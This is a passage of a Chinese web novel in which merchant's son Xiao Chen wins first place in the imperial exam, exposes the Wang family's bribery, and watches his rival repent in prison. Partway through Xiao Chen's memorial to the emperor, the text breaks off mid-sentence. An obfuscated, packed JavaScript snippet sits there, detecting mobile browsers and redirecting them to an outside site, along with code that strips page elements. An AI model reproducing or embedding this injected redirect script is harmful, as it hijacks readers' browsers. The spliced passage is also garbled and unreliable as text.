肖晨摆了摆手,又对张掌柜道:“不光是客栈,咱们名下的布庄、米铺也一样。凡是举子来买东西,不许趁机涨价,能让利就多让利些。” “这……”张掌柜有些犹豫,“眼下正是赚钱的时候,不少铺子都涨了三成价呢。” “读书人在外不易,盘缠大多紧巴。”肖晨语气沉了沉,“咱们肖家做生意,不光为了银钱,也得留几分体面。他们中若有人将来得了功名,记着这份情,比眼下多赚几两银子强。” 张掌柜恍然大悟,忙应道:“公子说得是,小的这就去吩咐各铺头照办。” 肖晨又叮嘱了几句,才转身回府。路过街角时,见两个举子正对着一个卖笔墨的摊子发愁,店家把价钱抬得老高,两人手里的碎银显然不够。他想了想,让随从过去付了钱,只说是“店家认错人,算错了账”。 回到府里,李傲雪正在给他整理书案,见他回来,笑着问:“今日怎么回来得晚了?” “路上耽搁了些。”肖晨坐下喝了口茶,把刚才的事说了说。 丁香端着点心进来,闻言道:“公子做得是对的,前几日我去给玉溪买丝线,就听见布庄的人说,有举子为了省银子,连像样的冬衣都舍不得买呢。” 李傲雪也点头:“读书人十年寒窗,就为了这一场考试,能帮衬些总是好的。” 肖晨看着她们眼里的认同,心里暖了暖。他拿起案上的《策论》,指尖划过那些密密麻麻的批注,忽然觉得,这场春闱,不止是为了自己的前程,也是为了能有更多底气,护住这些细碎的善意。 几日后的清晨,肖晨刚进书院,就见同窗们围着一张告示议论纷纷。走近一看,竟是有人匿名写了篇《京都举子行》,字里行间夸赞“肖记”诸铺平价待客,尤其那迎客栈给落难举子腾耳房的事,写得情真意切,末尾还提了句“商贾有仁心,胜过朱门酒肉香”。 “肖兄,这说的不就是你家的铺子?”旁边的同窗拍了拍他的肩,眼里满是敬佩,“都说商人重利,没想到肖兄家倒是例外。” 肖晨摸了摸鼻子,有些不好意思:“不过是举手之劳。” 正说着,一个穿洗得发白长衫的举子走上前来,对着他深深一揖:“在下周明,前日蒙肖家客栈收留,还未谢过肖公子。”正是那日在客栈门口攥着铜板发愁的年轻人。 “周兄不必多礼。”肖晨忙扶起他,“出门在外,互相帮衬是应该的。” 周明眼里闪着光:“肖公子这份心意,在下记在心里了。若将来有幸能得功名,定不忘今日之谊。” 这事很快在举子间传开,不少人路过肖记的铺子时,都会特意驻足看上两眼,买东西时也多了几分亲切。张掌柜后来跟肖晨回话,说这几日店里的生意不仅没因平价受影响,反倒比往常好了三成,还有举子主动帮着招呼客人,说“不能让好心人吃亏”。 肖晨听了,只笑着摇头。他没料到这点举手之劳,竟换来这么多暖意。 傍晚回府时,刚走到巷口,就见丁香站在门首张望,手里还捧着个布包。见他回来,她忙迎上来:“公子,你看我做了什么。” 打开布包,里面是十几个粗布缝制的笔袋,针脚不算精致,却看得出来很用心。“前几日听周公子说,有些举子的笔袋磨破了,舍不得买新的。”丁香小声说,“我想着做几个送出去,也不费什么事。” 肖晨拿起一个笔袋,指尖触到里面塞的棉絮,温温软软的:“你有心了。” 这时李傲雪也走了出来,手里提着个食盒:“我让厨房做了些粗粮饼,管饱又顶饿,让张掌柜给客栈里的举子们分一分。寒窗苦读不容易,填填肚子总是好的。” 肖晨看着她们,忽然觉得心里像被什么东西填满了。他以为自己只是做了件小事,却没想到这暖意像涟漪一样,在身边人心里也漾开了圈。 “走吧,咱们一起送去。”他接过食盒,又牵起丁香的手,“正好让那些举子看看,我身边的人,心比我还细呢。” 夕阳把三人的影子拉得很长,巷子里飘着厨房带来的麦香,远处传来举子们读书的声音,混着风里的柳丝气息,格外熨帖。肖晨忽然觉得,这场春闱,他不止在备考,更在这京城的烟火里,读懂了比功名更重要的东西。 再过几日,就是入场的日子了。他摸了摸怀里温热的砚台,那是李傲雪特意让人磨好的墨,砚底还刻了个小小的“安”字。他想,带着这样的暖意走进考场,定能笔下生花。 入场前一日,肖晨正在书房温书,李傲雪端来一碗莲子羹,轻声道:“明日就要进考场了,今晚早些歇息,养足精神才好。”她放下碗,从匣子里取出一方崭新的砚台,“这是我托人从端州带回来的老坑砚,据说发墨顺滑,你带着用。” 砚台触手温润,边角还细心地包了层锦布。肖晨拿起摩挲片刻,抬头时见李傲雪眼里满是关切,便笑着点头:“好,听你的。” 入夜后,他正要吹灯,却见窗纸上映出个小小的身影。打开门,丁香捧着盏油灯站在廊下,手里还捏着个油纸包:“公子,我……我听人说考场里冷,烤了几个红薯,你明早揣着,能暖手。” 红薯还带着余温,透过油纸渗出来。肖晨接过,见她冻得鼻尖发红,忍不住伸手替她拢了拢围巾:“这么晚了怎么还没睡?快回去歇着。” 丁香点点头,走了两步又回头:“公子,你定会高中的。”说完,红着脸跑开了。 肖晨握着温热的红薯,站在廊下看了会儿月色,心里踏实得很。 第二日天未亮,肖府就忙活起来。肖父亲自替他整理衣袍,肖母虽没多说什么,却让厨房煮了碗“高中”面——一根完整的面条卧着两个荷包蛋。李傲雪帮他把笔墨纸砚仔细装进考篮,丁香则把热好的红薯塞进他袖袋,又往他手里塞了个平安符:“这是我去大慈恩寺求的。” 到了贡院门口,举子们排着长队,个个神色肃穆。肖晨看到周明也在其中,对方朝他拱手一笑,眼里满是鼓励。两人并肩站着,听着贡院的钟声敲响,忽然觉得,这场考试里,他们不止是竞争者,更像是同路人。 检录入场时,肖晨回头望了一眼,见父母、李傲雪和丁香都站在街角望着他,身影被晨光拉得很长。他朝他们挥了挥手,转身走进那扇朱门。 考场里,号舍狭小逼仄,却出奇地安静。只有笔尖划过试卷的沙沙声,和偶尔传来的咳嗽声。肖晨铺开试卷,想起袖袋里温热的红薯,想起砚台上的“安”字,深吸一口气,提笔落下第一个字。 三日时光,在墨香与书卷气中悄然流逝。当他走出贡院时,阳光有些刺眼,恍惚间竟看到李傲雪和丁香提着食盒跑过来,身后跟着步履沉稳的肖父肖母。 “考得怎么样?”李傲雪递过帕子,语气里难掩紧张。 肖晨接过帕子擦了擦汗,看着他们关切的眼神,忽然笑了:“饿了,想回家吃傲雪做的红烧肉。” 丁香立刻接话:“我去厨房盯着!保证公子回来就能吃!” 肖父拍了拍他的肩,没多问,只道:“回来就好,回家。” 一行人往家走,肖晨走在中间,听着身边的笑语声,忽然觉得,无论结果如何,这场奔赴,都已是圆满。贡院的朱门渐渐远了,可心里的暖意,却像春日的藤蔓,悄悄爬满了每个角落。 64.他哭了,心里无比懊悔 王老爷坐在花厅的主位上,指尖叩着紫檀木桌面,目光落在刚从贡院回来的儿子王景明身上。王景明一脸倦容,却难掩眉宇间的得意,他躬身道:“父亲放心,此次考题不算偏难,儿子自觉答得还算顺畅。” “顺畅就好。”王老爷呷了口茶,语气平淡,却带着不容置疑的威严,“我已让人打点过,即便名次稍有偏差,也能设法补救。” 王景明眼里闪过一丝欣喜,却故作谦逊:“全凭父亲安排,儿子不敢懈怠。” “你只需安心等着放榜。”王老爷放下茶盏,话锋一转,“等你高中,我另有安排。吏部那边我已递了话,若能得个京官的缺,便顺势定下与礼部侍郎家的婚事——那姑娘我见过,知书达理,与你正好相配。” 王景明一怔,随即躬身应道:“全听父亲的。”心里却暗自盘算,礼部侍郎手握实权,若能联姻,往后在官场定能少走许多弯路。 “还有肖家那小子。”王老爷忽然提起,“听说他此次也考得不错?” “不过是些小聪明罢了。”王景明撇了撇嘴,“他家虽是商贾出身,近来倒笼络了些举子人心,父亲还是得多加留意。” 王老爷冷哼一声:“商贾就是商贾,纵算儿子考中,也翻不了天。你只需做好自己的事,其余的不必多管。”他起身踱了两步,“放榜后自有宴席,到时候带你去见些人物,往后的路,还长着呢。” 王景明忙应声“是”,看着父亲转身离去的背影,嘴角勾起一抹志在必得的笑。他摸了摸袖中那方特意备下的玉印,那是父亲早已为他准备好的“信物”,只等高中后,便能派上用场。 王景明回到自己房里,屏退了下人,独自坐在窗边摩挲着那方玉印。父亲的安排在他听来,不过是些寻常算计——礼部侍郎的女儿?终究只是朝臣之女,哪里配得上他的野心。 肖晨一个商贾之子,凭什么占着那样温顺的女子?等自己高中为官,定要想个法子,把那丁香夺过来,让肖晨也尝尝失意的滋味。 但这念头也只是一闪而过。比起一个妾室,他更看重的是未来的权势。官家千金?在他眼里不过是跳板,真正能助他平步青云的,是皇亲国戚。 他望着窗外远处的宫墙轮廓,眼里闪过一丝贪婪。若是能娶位公主,或是攀上亲王的关系,那才是真正的一步登天。皇亲国戚的高贵出身,不仅能让他摆脱商户联姻的平庸,更能在朝堂上为他遮风挡雨,那些所谓的世家大族,也得对他礼让三分。 至于父亲看中的礼部侍郎之女,倒也不是不能应付。先借着这门婚事站稳脚跟,等将来有了足够的权势,再寻个由头断了便是。女子嘛,于他而言,从来都只是棋子。 他将玉印揣回袖中,起身走到书案前,铺开一张宣纸,提笔写下“富贵”二字。笔锋凌厉,带着股势在必得的狠劲。 窗外的风卷着花瓣落在纸上,晕开一小片墨迹。王景明看着那模糊的痕迹,嘴角勾起一抹冷笑——肖晨,你以为笼络几个举子就能成事?等着吧,等我攀上更高的枝,整个京城,都得看我的脸色。 放榜那日,京城的贡院外墙前人山人海。王景明骑着高头大马,在一众家仆的簇拥下缓缓而来,眼角的余光扫过挤在人群里的举子,带着几分倨傲。他早已算准,凭着父亲的打点,自己定能榜上有名,甚至可能排在前列。 “公子,前面人太多,要不奴才们去挤个位置?”随从上前请示。 王景明摆摆手,慢条斯理地整理着衣袖:“不必。等会儿自有官差来报喜,急什么。”他心里盘算着,等会儿听到自己的名次,该摆出怎样的姿态才够体面——既不能显得太过得意,又得让周围人看出他的志在必得。 正想着,忽然听见人群里爆发出一阵欢呼,有人高喊:“肖晨!肖晨中了头名状元!” 王景明脸上的笑容猛地一僵,像是被人兜头泼了盆冷水。他攥紧缰绳,指节泛白——怎么可能?肖晨不过是个商贾之子,竟能压过自己? 还没等他缓过神,又有人喊道:“王景明……王景明在二十三名!” 二十三名?王景明几乎要捏碎手里的马鞭。他父亲明明说过能让他进前十,怎么会只排在二十三名?一股羞愤涌上心头,他狠狠瞪向人群中那个被举子们簇拥着的身影——肖晨正拱手向众人道谢,眉宇间带着温和的笑意,浑身上下透着一股坦荡。 “走!”王景明低喝一声,调转马头就往回走,连身后家仆的呼喊都懒得理会。 回到府里,他一脚踹翻了书案上的砚台,墨汁溅得满桌都是。王老爷闻讯赶来,见他这副模样,皱起眉:“不过是二十三名,虽不及预期,却也能做官,发什么脾气?” “二十三名?”王景明红着眼嘶吼,“父亲不是说打点好了吗?为什么肖晨能中状元?我不甘心!” “肖晨那小子是真有本事,主考官亲自点的头,谁也动不了。”王老爷沉下脸,“你以为官场是那么好混的?二十三名怎么了?先去地方历练两年,再想法子调回京城,照样能攀附权贵。” 王景明喘着粗气,忽然想起自己心里的盘算,眼神渐渐阴鸷下来:“父亲说得对……肖晨不过是个状元,根基未稳。至于皇亲国戚……我还有机会。” 他看向窗外,阳光刺眼,却照不进他心里的阴暗。丁香……皇亲……他舔了舔唇角,只要能往上爬,什么手段他都使得出来。肖晨,你等着,咱们的账,还没算完。 肖晨高中状元的消息传回肖府时,正赶上午后的日头最暖。李傲雪刚让丫鬟把晾晒的书卷收回来,就见管家连滚带爬地冲进院子,手里举着张红帖,嗓子都喊劈了:“中了!少爷中了状元!” 她手里的书卷“啪”地掉在地上,愣了片刻,眼眶倏地红了。丁香端着刚沏好的茶从屋里出来,听见这话,茶盏一晃,热水溅在手上也没察觉,只盯着管家手里的红帖,嘴唇哆嗦着说不出话。 等肖晨穿着崭新的状元红袍回来时,府门口早已挤满了人。族里的长辈们捋着胡须笑得合不拢嘴,平日里没什么往来的商户也提着厚礼赶来,连胡同口卖糖人的老汉都特意捏了个“状元游街”的糖人送来。 “我儿出息了!”肖父拍着肖晨的肩,眼圈泛红,肖母站在一旁,看着儿子身上的红袍,嘴角的笑意藏都藏不住,转身就吩咐厨房:“把最好的菜都端上来,今晚摆流水宴,来的都是客!” 李傲雪走上前,替肖晨理了理歪斜的玉带,声音带着哽咽:“我就知道,少爷一定能成。”她指尖划过那身刺目的红,心里像揣了团火,暖得发烫。 丁香也凑过来,手里捧着个锦囊,里面是她连夜绣的“一路荣华”纹样:“公子……这个你带着。”她低着头,耳尖红得厉害,却能让人看清她眼底的光亮。 肖晨接过锦囊,又握住两人的手,笑着说:“这里面啊,有你们一半的功劳。” 正说着,外面传来鞭炮声,原来是同窗们抬着牌匾来了,上面写着“状元府”三个金字。肖晨拱手道谢,被众人簇拥着往正厅去,李傲雪和丁香跟在后面,看着他被族人和乡邻围住道贺,脸上的笑意就没断过。 到了夜里,流水宴开得热闹。李傲雪在席间忙着招呼女眷,应对得体;丁香则守在厨房和前厅之间,时不时给肖晨端些他爱吃的菜。有相熟的夫人打趣:“肖状元好福气,家里有两位这么能干的姑娘。” 肖晨举着酒杯,看向不远处的两人,她们正好也望过来,四目相对,满是默契的欢喜。他忽然觉得,这状元的荣光再盛,也不及此刻眼前的温暖真切。 窗外的灯笼红得像团火,映着满院的笑语。李傲雪看着肖晨被众人敬酒的身影,悄悄对丁香说:“往后啊,咱们的日子,该更安稳了。” 丁香用力点头,手里端着的汤碗,热气腾腾,像极了她们此刻的心情。 放榜后的第三日,是新科状元跨马游街的日子。 肖晨换上钦赐的状元袍,玉带束腰,乌纱帽下的面容带着几分少年意气,又因连日苦读添了层沉静。当他牵着御赐的白马走出午门时,街上早已挤满了百姓,黑压压的人群从街头排到街尾,喧闹声几乎要掀翻头顶的天。 “看!那就是新科状元!” “果然是年轻有为,一表人才啊!” 欢呼声浪一波接一波涌来,百姓们争相往前凑,手里的鲜花、绸缎往他马前抛,还有相熟的举子站在人群里高声道贺。肖晨勒着马缰,微笑着向两侧拱手致意,马蹄踏在青石板上,发出清脆的声响,与周遭的喧闹奇妙地融合在一起。 他目光扫过人群,忽然在街角看到了熟悉的身影——李傲雪和丁香挤在一棵老槐树下,正仰着头望他。李傲雪穿着件月白长衫,手里还紧紧攥着块绣帕;丁香则踮着脚,小脸上满是激动,见他望过来,慌忙红着脸低下头,又忍不住偷偷抬眼。 肖晨心里一暖,对着那个方向轻轻颔首。李傲雪似是明白了,拉着丁香往后退了退,眼里的笑意比头顶的阳光还要亮。 游街的队伍缓缓前行,穿过朱雀大街,又绕到贡院门口。周明等几个相熟的举子站在路边,冲着他用力挥手,肖晨也笑着回应。这一刻,他忽然懂了“春风得意马蹄疾”的滋味——不止是金榜题名的荣耀,更是身边人眼中的期许,和这份被众人祝福的踏实。 马队走到街尾时,有位白发老丈捧着幅字画挤过来,颤声道:“老臣……老民曾也是举子,可惜一生未中。今日见状元郎风采,总算没白等这几十年!” 肖晨翻身下马,恭敬地接过字画:“老伯谬赞,晚辈愧不敢当。” 老丈抹了把泪:“好啊,好啊,朝廷有你这样的年轻人,是大幸!” 重新上马时,肖晨望着前路,心里忽然沉甸甸的。这一身红袍,不仅是荣耀,更是沉甸甸的责任。他勒转马头,看向身后的京城,目光坚定——往后的路,定要不负这份荣光,更不负那些在街角为他守望的人。 游街归来,肖晨刚踏进府门,就见李傲雪和丁香候在影壁旁,手里各捧着东西。 李傲雪递上一杯温茶:“游街辛苦,先润润喉。”茶盏是她惯用的白瓷杯,杯沿还留着淡淡的体温。 丁香则捧着个小锦盒,打开一看,里面是双绣着祥云纹样的软底靴:“街上人多,马蹄颠,公子定是累着了。换上这个歇歇脚。” 肖晨笑着接过来,刚换好靴子,就见管家匆匆进来,手里拿着张帖子:“公子,王老爷带着其子王景明前来道贺,已在花厅候着了。” 肖晨微微一怔,随即了然。他理了理衣袍,对两人道:“我去去就回。” 花厅里,王老爷满面堆笑,见肖晨进来,忙起身拱手:“肖状元年少有为,真是羡煞旁人!景明,还不快见过肖状元?” 王景明站在一旁,脸上挂着不自然的笑,拱手时眼神却往肖晨身后瞟——他原以为能在这儿见到丁香,却没料到只有肖晨一人。 “王老爷客气了。”肖晨落座,目光平静,“不知二位今日前来,除了道贺,还有何见教?” 王老爷干咳一声,搓着手道:“实不相瞒,老夫是想为景明求个情。他虽名次靠后,但也是正途出身,肖状元如今在朝中得势,若能在吏部那边美言几句……” 话未说完,就被肖晨打断:“朝廷选官自有章程,凭的是才德与政绩,而非私情。王公子若有才干,何愁没有机会?” 王景明脸色一沉,刚要开口,却被王老爷按住。王老爷打了个哈哈:“肖状元说的是,是老夫唐突了。”又闲聊几句,见肖晨态度疏离,便带着王景明告辞了。 送走两人,肖晨回到后院,李傲雪见他神色淡然,便知一二:“王家怕是没安好心。” “不必理会。”肖晨坐下,拿起丁香刚剥好的橘子,“他们若安分守己便罢,若敢动歪心思,我也不怕。” 正说着,宫里来了旨意,召新科状元明日入宫面圣。肖晨接了旨,心里明白,真正的考验,才刚刚开始。 夜里,他坐在书房整理思绪,李傲雪端来宵夜,见他对着舆图出神,便问:“在想明日见陛下该说些什么?” “嗯。”肖晨点头,“陛下或会问及民生,我想把近日在京城见到的举子困境,还有商户与百姓的难处,如实奏上。” 李傲雪想了想:“实话实说总是好的,陛下圣明,定能体察实情。”她替他研着墨,“若需笔墨记录,我陪你。” 丁香也搬来小凳,坐在一旁缝补他白日里被人群扯破的衣袍,轻声道:“公子想说什么便说什么,我们都信你。” 肖晨看着灯下的两人,心里一片澄明。他提笔在纸上写下几条奏对要点,笔尖划过纸面,沉稳有力。窗外的月光静静流淌,映着三人的身影,安宁而坚定。 次日清晨,肖晨换上朝服,跟着内侍踏入太极殿。殿内庄严肃穆,龙椅上的皇帝虽已过中年,目光却锐利如鹰,扫得他心头微微一紧。 “肖晨,你可知朕为何召你?”皇帝开口,声音不高,却带着威仪。 肖晨躬身答道:“臣愚钝,想必是为民生吏治之事。” “不错。”皇帝颔首,“你高中状元前,曾让家中商铺平价善待举子,此事已传入宫中。说说看,你为何要这么做?” 肖晨定了定神,朗声道:“臣出身商贾之家,见多了底层读书人的窘迫。他们十年寒窗,只为一朝报国,若因盘缠困顿误了前程,实为可惜。商贾逐利本无可厚非,但留几分仁心,方能让寒门子弟有向上之路,朝廷也能多些可用之才。” 皇帝眼中闪过一丝赞许:“说得好。‘仁心’二字,说来容易,做起来难。你既懂民间疾苦,又有这份体恤之心,朕便给你个机会——即日起,你入吏部观政,协助核查各地科举舞弊之事,如何?” 肖晨心头一震,这差事看似寻常,实则是让他触碰官场积弊,稍有不慎便会得罪权贵。他深吸一口气,朗声道:“臣,遵旨!定不负陛下所托!” 退出大殿时,晨光正好照在丹陛上,肖晨却觉得肩上的担子重了许多。刚走到宫门口,就见王景明候在一旁,脸上带着假笑:“肖大人好福气,刚入仕就得陛下重用。” “王公子客气。”肖晨淡淡颔首,“朝廷差事,不敢懈怠。” 王景明凑近几步,压低声音:“肖大人可知,核查舞弊之事,最是容易得罪人。家父在朝中有些人脉,若肖大人需要帮忙,尽管开口。” 肖晨看了他一眼,心中了然——这是想拉拢,或是想借机打探消息。他微微一笑:“多谢好意,只是朝廷法度严明,不敢劳烦王大人。”说罢,转身离去。 王景明望着他的背影,眼里闪过一丝阴狠。肖晨啊肖晨,你当真以为凭一己之力能站稳脚跟?等你查到那些见不得光的事,自有你苦头吃。 回到府中,肖晨把面圣之事告诉李傲雪和丁香。李傲雪听后,眉头微蹙:“核查舞弊,怕是会引来不少嫉恨。” “我知道。”肖晨坐下,“但这事总得有人做。若能为寒门子弟争几分公平,得罪人又何妨?” 丁香端来热茶,轻声道:“公子做的是正事,我们都支持你。只是……要多当心。” 肖晨握住她的手,又看了看李傲雪,笑道:“放心,我心里有数。往后或许会忙些,府里的事,又要辛苦你们了。” 李傲雪摇头:“府里有我,少爷只管安心做事。”她转身去厨房,“我让厨房炖些参汤,你这几日定是劳累。” 看着她的背影,肖晨心里暖暖的。他知道,前路纵有风雨,身后总有归处。拿起桌上的卷宗,他翻开第一页,目光坚定——这官场之路,他要一步一步,走得堂堂正正。 肖晨接手核查科举舞弊案后,并未急于动作。他将历年卷宗翻了个底朝天,又悄悄找来几个落榜却颇有才名的举子细问,渐渐摸到些门道——每逢大考,总有几家权贵借着“打点”之名,暗中调换考卷、篡改名次,王家便是其中最扎眼的一家。 王景明那二十三名的名次,明眼人都看得出蹊跷。肖晨不动声色,先让人放出消息,说查到有考官私收贿赂,正顺着线索往下查。王老爷果然慌了,连夜派人去打点那几位受贿的考官,想让他们把嘴闭紧。 这些动作,全落在肖晨布下的眼线眼里。 三日后,肖晨在朝堂上递上奏折,附带着一叠证据——既有王家家仆与考官密谈的记录,又有调换考卷时不慎留下的墨迹比对,甚至还有王老爷让人送银子时,包裹银子的锦缎上绣着的王家标记。 “陛下,”肖晨叩首道,“臣核查时发现,此次春闱确有舞弊之事。王家仗着在京中有些势力,买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136792|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通考官,将其子王景明的考卷与一位落榜举子调换,才得了第二十三名的名次。那落榜举子的策论实乃佳作,却因无权无势,被埋没于废纸堆中。” 皇帝看着那些证据,龙颜大怒:“好个王家!竟敢视朝廷法度为无物!”当即下令将王老爷与涉案考官打入天牢,王景明的功名被革去,永不得再参加科举。 消息传到王家,顿时乱作一团。王景明瘫坐在地上,指着前来传旨的官差嘶吼:“是肖晨!是他算计我!”可事已至此,再喊什么都无济于事。 肖晨回到府中时,李傲雪正在廊下等着。见他回来,她递上一杯热茶,轻声道:“都听说了。” “嗯。”肖晨接过茶,“不是我要赶尽杀绝,是他们自己撞上来的。”他想起王景明看丁香时那贪婪的眼神,想起王家父子仗势欺人的嘴脸,眼底掠过一丝冷意,“这既是为那些被埋没的举子讨公道,也是为我们自己扫清障碍。” 丁香端来刚做好的点心,小声说:“公子做得对。那样的人,本就不该留在官场。”她想起上次在街角被王景明盯得发毛的样子,至今还有些后怕。 肖晨看着她们,忽然笑了:“往后,该清净些了。” 窗外的月光洒进来,落在三人身上。这场风波过后,朝堂上不少人都看清了这位新科状元的手段——看似温和,实则刚硬,既守住了规矩,又报了私怨,手腕实在不容小觑。 而肖晨知道,这只是开始。他要走的路还很长,既要护住身边的人,也要守住心里的那份清明。至于那些藏在暗处的算计,他接得住,也应付得来。 王家父子被打入天牢的第三夜,牢头揣着个油布包悄悄溜出刑部大牢。油布包里是王老爷藏在贴身衣物里的玉佩——那是块成色极好的和田玉,背面刻着个“王”字,原是他打算送给吏部官员的谢礼,如今倒成了救命符。 牢头熟门熟路摸到太尉府后门,把玉佩和王老爷的话传给了门房:“王老爷说了,只要太尉大人能救他们父子出牢,王家愿献一半家产,还有城南那百亩良田,全归太尉大人处置。” 太尉赵奎把玩着那枚玉佩,眼底闪过一丝贪念。王家虽算不上顶级权贵,家底却着实丰厚,那百亩良田更是在京城寸土寸金的地界,足以让他动心。他沉吟片刻,对心腹道:“去查查,王家的家产和田地是否属实。” 心腹很快回话,不仅属实,王家还藏着几处铺面未曾报官。赵奎当即拍板:“这事,我应了。” 次日早朝,赵奎率先出列:“陛下,王家舞弊固然有错,但念其祖上也曾为朝廷效力,王景明年轻识浅,或为其父所迫。依老臣看,不如革去王景明功名,罚没王家部分家产充公,让他们父子戴罪归家,也算给天下人一个警示。” 话音刚落,几个平日里与赵奎交好的官员纷纷附议:“太尉所言极是,严惩不如教化,罚银充公既能补国库,又能让其知过悔改,实为两全之策。” 肖晨站在朝列中,听着他们一唱一和,心中冷笑。他早料到王家不会束手就擒,却没料到他们竟能搭上太尉这条线。他上前一步,朗声道:“陛下,臣以为不妥。科举乃取士根本,若因私废法,何以服天下寒门?王家买通考官,篡改名次,已是公然践踏法度,若仅罚银了事,往后权贵效仿,朝廷取士岂不成了空谈?” 赵奎瞪向肖晨:“肖大人年纪轻轻,怎如此不近人情?王家已付出代价,何必赶尽杀绝?” “太尉大人错了。”肖晨目光坚定,“臣并非赶尽杀绝,而是要守住法度。今日若开了这个先例,明日便会有更多人视科举为儿戏,届时寒士心冷,朝廷失了民心,才是真正的祸患。” 皇帝沉吟不语,手指轻轻敲击着龙椅扶手。殿内鸦雀无声,所有人都盯着御座上的决断。 片刻后,皇帝缓缓开口:“肖晨所言有理。科举舞弊,动摇国本,断不可轻饶。王家父子,革去功名,家产全部抄没充公,永世不得踏入仕途。涉案考官,秋后问斩。” 赵奎脸色骤变,却不敢再言。 消息传回天牢,王老爷听闻家产尽没,眼前一黑晕了过去。王景明瘫在草堆上,眼神空洞——他机关算尽,到头来不仅没攀上皇亲,连家底都赔了个干净,更别说什么丁香了。 肖晨走出大殿时,阳光正好。赵奎擦肩而过时,狠狠瞪了他一眼,肖晨却只淡淡颔首。他知道,这一下,算是彻底得罪了太尉,但他不后悔。 回到府中,李傲雪见他神色坦然,便知结果。她递上一碗莲子羹:“累了吧?喝口甜的。” 肖晨接过碗,笑道:“尘埃落定了。” 丁香端来刚晒好的书卷,轻声道:“公子做得对,这样才没人敢再欺负咱们。” 肖晨看着她们,心里一片安宁。这官场之路,步步荆棘,但只要守住本心,便不怕前路坎坷。窗外的蝉鸣渐起,夏日的风带着暖意,吹得人心里踏实。 几日后,丁香忽然对肖晨说:“公子,我想去天牢见见王景明。” 肖晨微怔,随即点头:“我陪你去。”他知道丁香素来心软,却没想到她会主动提出见王景明——那个曾对她存着龌龊心思,甚至险些坏了她名节的人。 天牢里潮湿阴暗,腐味混杂着霉味扑面而来。王景明穿着囚服,头发散乱,早已没了往日的骄矜,见丁香和肖晨进来,浑浊的眼睛里忽然燃起一丝光,随即又被戾气盖过:“你来做什么?看我笑话?” 丁香站在牢门外,声音平静却清晰:“我来是想告诉你一些事。” 她抬眼望着他,目光里没有恨,只有惋惜:“一年前,你帮我从王家后院逃出去,躲开你父亲安排的那门亲事,我一直记着这份情。那时的你,会偷偷给被打骂的下人塞馒头,会在你母亲牌位前坐一整夜,会跟我说‘丁香,你别怕,有我在’。我记忆里的那个你,是个善良心软的少年。” 王景明猛地别过脸,肩膀却在发抖。 “可你看看现在的你,”丁香的声音轻了些,却像针一样扎进人心里,“嫉妒肖公子的才名,算计科举的名次,为了得到不属于自己的东西,连法度都敢践踏。这真的是你想成为的人吗?” 她顿了顿,看着他的眼睛:“你大概忘了,我被王老爷赎身之前,心里就只有肖公子。这一年在肖府,他待我如亲人,敬我重我,我嫁给他为妾,是心甘情愿,从未有过半分勉强。可你呢?因为得不到,就动了那么多歪心思,甚至不惜连累家人……” “够了!”王景明低吼一声,眼眶通红。 丁香却没停:“你还记得你娘吗?她被你父亲冷落,被小妾们欺负,却为了护着你,硬生生熬了那么多年,最后郁郁而终。那时你抱着她的棺木哭,说再也不会让任何人欺负她,说要做个正直的人,不让她失望。可现在的你,为了名利不择手段,为了私欲伤害旁人,这和你父亲当年的凉薄,又有什么区别?” “我……”王景明张了张嘴,忽然蹲下身,双手插进乱发里,压抑的呜咽声从喉咙里滚出来,像受伤的野兽。他哭了很久,直到声音嘶哑,才抬起头,满脸泪痕地看着丁香,声音抖得不成样子:“我错了……我真的错了……” 他想起母亲临终前拉着他的手说“景明,做人要正”,想起自己帮丁香逃跑时说“别像我娘一样活得委屈”,想起最初见到肖晨时,也曾真心佩服过他的才华……可后来,嫉妒像毒草一样疯长,把那些好都啃噬得干干净净。 丁香看着他痛哭的样子,轻轻叹了口气:“知道错了,或许还不晚。往后在里面,好好想想吧。” 肖晨握住丁香的手,对她摇了摇头,示意该走了。 走出天牢,阳光刺眼。丁香抬头看着肖晨,眼里有些湿润:“我说完这些,心里反倒踏实了。” 肖晨替她拭去眼角的泪,温声道:“你做得对。”他知道,丁香不是在为谁辩解,只是想让那个曾经有过善意的少年,在坠入深渊前,最后看清一次自己。 马车驶回肖府的路上,丁香靠在车窗上,看着街景发呆。肖晨握住她的手,轻声道:“都过去了。” 丁香点头,反手握住他的手,嘴角慢慢扬起一抹浅淡的笑。是啊,都过去了。那些阴暗的算计,那些纠缠的过往,终究会被阳光驱散。往后的日子,她只需守着身边的人,守着这份安稳,便足够了。 65.梦中老者的出现,画中之谜 跨进府门时,暮色正浓,廊下的灯笼已次第亮起,暖黄的光将青石板照得温润。 李傲雪正站在阶前等,见两人回来,忙迎上前,手里还攥着刚绣了一半的帕子:“少爷,丁香姑娘,可回来了。厨房炖了冰糖雪梨,天牢里阴气重,喝些暖暖身子。” 肖晨看着她鬓边沾着的线头,伸手替她拂去,声音里带着释然:“傲雪,从今往后,再没人能挡着我们了。” 李傲雪一怔,随即懂了他话里的意思,眼眶微微发热,却笑着点头:“嗯,都过去了。” 丁香走上前,接过李傲雪手里的帕子,指尖轻轻抚过上面的缠枝纹,忽然抬头看向肖晨,声音轻软却清晰:“公子,能遇到你,我真的……很幸福。”从被王家赎身的惶恐,到肖府里的安稳,再到此刻的心安,她从未想过自己能有这样的归宿。 肖晨握住她的手,又拉过李傲雪,将两人的手都拢在掌心。灯笼的光落在他脸上,映出眼底的温柔:“该说福气的是我才对。”他看向李傲雪,“当年若不是你劝我坚持科考,或许我早已弃了笔。”又转向丁香,“若不是你总在我伏案时添一盏灯,递一杯茶,我也熬不过那些寒夜。” “有你们两个在身边,才是我肖晨这辈子最大的福气。” 李傲雪低头笑了,耳尖微微发红;丁香靠得更近了些,掌心被他握得暖暖的。 夜风穿过庭院,带来桂花香。厨房里飘出雪梨的甜香,管家在廊下吩咐下人收拾院落,连檐角的铜铃都似在轻轻哼唱。 